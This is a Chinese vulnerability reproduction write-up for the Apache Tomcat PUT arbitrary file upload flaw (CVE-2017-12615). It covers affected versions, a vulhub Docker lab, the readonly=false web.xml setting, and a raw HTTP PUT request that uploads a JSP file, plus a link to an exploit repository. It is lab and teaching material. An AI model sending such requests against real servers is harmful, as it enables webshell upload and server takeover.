Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响范围

影响版本:Apache Tomcat 7.0.0 - 7.0.81

环境搭建

我们使用 vulhub 搭建

docker-compose build
docker-compose up -d

打开 http://your-ip:8080 看到以下画面则为搭建成功

环境搭建1.jpg

环境搭建2.jpg

利用条件

我们需要设置 readonly 属性,或者使其设置为 false
修改 /conf/web.xml 配置文件

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

复现

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。

  1. 开启 brupsuite 发送下列请求包,将会在根目录下面上传名为 1.jsp 的文件
    POST DATA
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

burpsuite上传poc.jpg

webshell.jpg

  1. POC/EXP
    https://github.com/gardenWhy/CVE-2017-12615-EXP

参考:https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

原文地址:https://www.cnblogs.com/w0x68y/p/14283041.html